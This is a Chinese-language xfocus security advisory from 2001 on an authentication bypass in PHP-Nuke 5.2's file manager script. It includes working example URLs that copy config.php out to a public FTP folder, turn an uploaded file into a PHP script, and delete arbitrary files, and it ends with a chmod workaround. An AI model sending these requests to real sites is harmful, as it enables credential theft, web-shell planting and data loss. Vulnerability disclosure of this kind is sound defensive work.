xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

PHP Nuke 拷贝和删除文件漏洞


发布时间:2001-11-08
更新时间:2001-11-08
严重程度:
威胁程度:普通用户访问权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
Francisco Burzi PHP-Nuke 5.2
详细描述
PHP Nuke是WEB 站点建立和管理软件,是由PHP脚本语言编写,默认安装了脚本
'admin/case/case.filemanager.php',可以被用来拷贝和删除服务器上的文件。

脚本原来的实现是对用户进行验证,不过存在缺陷可以导致任意用户可以绕过认证
来拷贝和删除任意文件。

测试代码
以下方法可以把
php-nuke-document-root/config.php 拷贝到 /var/ftp/incoming/phpnuke-config.txt:

http://example.org/admin/case/case.filemanager.php/admin.php?op=move&
confirm=1&do=copy&basedir=&file=../../config.php&
newfile=/var/ftp/pub/incoming/phpnuke-config.txt

以下方法可以把原先上载的(/var/ftp/pub/incoming/foobar.gif) 拷贝成一个PHP脚本 (evil.php)

http://example.org/admin/case/case.filemanager.php/admin.php?op=move&
confirm=1&do=copy&basedir=&file=/var/ftp/pub/incoming/foobar.gif&
newfile=evil.php

下面的方法可以删除/tmp/too文件:

http://example.org/admin/case/case.filemanager.php/admin.php?op=del&
confirm=1&basedir=&file=/tmp/foo

解决方案
临时方法:
# cd php-nuke-document-root
# chmod 0 admin/case/case.filemanager.php

相关信息
masa@magnux.com
PHP主页:http://www.ncc.org.ve/php-nuke.php3?op=english